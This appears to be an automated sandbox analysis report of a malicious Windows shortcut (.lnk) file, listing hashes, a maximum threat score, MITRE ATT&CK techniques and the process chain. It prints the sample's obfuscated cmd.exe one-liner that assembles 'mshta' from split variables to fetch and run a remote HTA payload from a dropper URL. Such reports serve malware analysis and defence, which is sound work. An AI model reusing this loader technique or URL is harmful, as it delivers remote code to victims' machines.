850b8dd7149a8d8c53a2c4d9e4c4fc3c4a8b36c954e573bec3b07a37d8593952

Analysis

max time kernel
150s
max time network
139s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 08:23

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General

Target
DOC-IM2XSY.lnk
Size 1KB
Sample260804-kacqhsar5x
SHA256 850b8dd7149a8d8c53a2c4d9e4c4fc3c4a8b36c954e573bec3b07a37d8593952
MD5 8ab18365c47204e9670f428e19760762
SHA1 d279666c858c1992213f381fd845bebbb36ba54b
SHA512 3e45cc71133213fcffc6cb0653beaf4d12e8869047faec6be32086dbbb29d4a951adbfe721d7f34181e731680dda00f516efcf22cf956710c2982ba4a9bddae2
TLSH
T1743147502FFD0628F3F39F7794BB572889BBB85A8E20CA2E0141454D5072A15E27BF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5608	cmd.exe
2656	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 5608 wrote to memory of 2656	5608	cmd.exe	90
PID 2656 wrote to memory of 2496	2656	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-IM2XSY.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5608
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /c "set Nfh=msh&&set Nr=ta&&start "" !Nfh!!Nr! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2656
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:2496

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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